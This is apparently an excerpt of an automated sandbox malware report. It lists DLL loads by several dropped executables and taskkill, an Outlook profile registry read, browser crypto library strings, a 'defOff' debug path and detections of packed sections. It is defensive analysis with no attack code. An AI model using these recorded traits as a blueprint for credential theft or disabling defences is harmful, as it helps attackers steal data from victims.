Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: YouTube.lnk.23.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.23.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.23.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.23.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.23.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Google Drive.lnk.23.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1864192 > 1048576

Source: file.exe

Static PE information: Raw size of ewxlggpv is bigger than: 0x100000 < 0x195600

Source:	Binary string: mozglue.pdbP source: 194fcc03d1.exe, 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: nss3.pdb@ source: 194fcc03d1.exe, 00000009.00000002.3671775894.000000006D4CF000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: nss3.pdb source: 194fcc03d1.exe, 00000009.00000002.3671775894.000000006D4CF000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: c9ac8940e6.exe, 0000000A.00000003.3684788452.0000000008580000.00000004.00001000.00020000.00000000.sdmp, c9ac8940e6.exe, 0000000A.00000002.3802826325.00000000060C2000.00000040.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: 194fcc03d1.exe, 00000009.00000002.3669673545.000000006D30D000.00000002.00000001.01000000.0000001E.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.440000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ewxlggpv:EW;agnuswsr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ewxlggpv:EW;agnuswsr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.6c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ewxlggpv:EW;agnuswsr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ewxlggpv:EW;agnuswsr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.6c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ewxlggpv:EW;agnuswsr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ewxlggpv:EW;agnuswsr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Unpacked PE file: 8.2.c9ac8940e6.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;quzinlov:EW;yfhksbgg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;quzinlov:EW;yfhksbgg:EW;.taggant:EW;
